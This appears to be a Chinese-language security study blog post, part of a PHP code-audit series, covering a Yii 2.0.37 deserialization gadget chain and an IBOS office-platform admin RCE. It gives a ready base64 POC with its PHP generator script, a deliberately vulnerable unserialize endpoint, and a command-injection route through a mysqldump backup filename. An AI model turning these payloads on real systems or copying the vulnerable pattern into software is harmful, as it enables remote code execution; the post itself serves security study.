Skip to main content

PHP代码审计9-框架-YII

·263 words·2 mins
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

PHP代码审计9-框架-YII-反序列化
#

国外很多YII,国内PHP一般都是TP 80%

案例一:YII源码
#

YII用phpstudty搭建的话指向里面的WEB目录

然后在config里面web.php给cookie随便写一个密钥上去

比如:abcdefg1234567890abcdefg12345678

搭建完成如下

1

YII的代码方法是action开头的加上后面如 actionContact 你在URL访问不能加action

/index.php?r=site%2Fabout 这是我访问about界面的URL对应代码位置是

1

所以加入我新建一个接口按照改就行了

<?php

namespace app\controllers;
use yii\web\Controller;


class StarruiController extends Controller{
    public  function actionTiantian()
    {
        return "dude";
    }
}

注意action后面要大写开头不要访问不到哦

则变为/index.php?r=starrui/tiantian

1

如果加了参数呢就用&

public  function actionTiantiany($dude)
{
    return $dude;
}

index.php?r=starrui/tiantiany&dude=php

反序列化
#

假设有下面这种反序列化可控点

public  function actionTiantianx($dude)
{
    return unserialize(base64_encode($dude));
}

判断YII版本

搜索getversion找到版本

public static function getVersion()
{
    return '2.0.37';
}

先给POC

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ==

<?php
// 显示错误信息,方便调试
namespace{
    ini_set('display_errors', 1);
    error_reporting(E_ALL);
}



// 1. 定义GuzzleHttp\Psr7\FnStream类
namespace GuzzleHttp\Psr7 {
    class FnStream {
        public $_fn_close = 'phpinfo'; // 使用public修饰符,确保可序列化
    }
}

// 2. 定义yii\db\BatchQueryResult类(不依赖Yii框架)
namespace yii\db {
    use GuzzleHttp\Psr7\FnStream; // 导入FnStream类

    // 移除Yii的BaseObject继承,改为普通类
    class BatchQueryResult {
        private $_dataReader;

        public function __construct() {
            // 正确初始化属性(使用->操作符)
            $this->_dataReader = new FnStream();
        }
    }
}

// 3. 全局命名空间:执行序列化和输出
namespace {
    use yii\db\BatchQueryResult;

    try {
        // 实例化对象
        $batchResult = new BatchQueryResult();
        // 序列化并Base64编码
        $serialized = serialize($batchResult);
        $base64Str = base64_encode($serialized);
        // 输出结果
        echo "序列化并Base64编码的结果:\n";
        echo $base64Str;
    } catch (Exception $e) {
        echo "执行错误:" . $e->getMessage();
    }
}

1

原理是搜索__destruct

到了

BatchQueryResult里面的reset调用了close 我们就要改变close 这方法怎么改变的因为_dataReader我们就可以让他new一个可以代码执行的类里面有close就找到了

public function reset()
{
    if ($this->_dataReader !== null) {
        $this->_dataReader->close();
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
}

这个类

class FnStream 

    public function close()
    {
        return call_user_func($this->_fn_close);
    }
    

案例二:IBOS办公平台源码
#

RCE后台代码执行
#

先看效果

/?r=dashboard/default/index

1

1

先说PHP的特性 calc; 可以执行出RCE代码 两个``

如下面所示

system/core/utils/Database.php

找到可控制的值

$filename->$backupFileName->$dumpFile

databaseBackup方法
`{$mysqlBin}mysqldump --force --quick {$command1} --add-drop-table {$command2} {$command3} --host="{$db['host']}" {$command5} --user="{$db['username']}" --password="{$db['password']}" "{$db['dbname']}" {$tablesstr} > {$dumpFile}`;

system/modules/dashboard/controllers/DatabaseController.php调用了这个方法

public function actionBackup()
{
    $formSubmit = Env::submitCheck('dbSubmit');
    $type = $msg = $url = '';
    $param = array();
    if ($formSubmit) {
        $status = Database::databaseBackup();  这里
        extract($status);
        $type = '';
        if (!empty($type)) {

还要注意开启shell备份

1

Related

PHP代码审计8-XXE-XSS
·272 words·2 mins
PHP代码审计7-变量覆盖
·190 words·1 min
MVC-PHP代码审计6-框架-文件包含
·151 words·1 min
MVC-PHP代码审计5-框架-反序列化构建链
·249 words·2 mins
MVC-PHP代码审计4-框架-SQL注入
·309 words·2 mins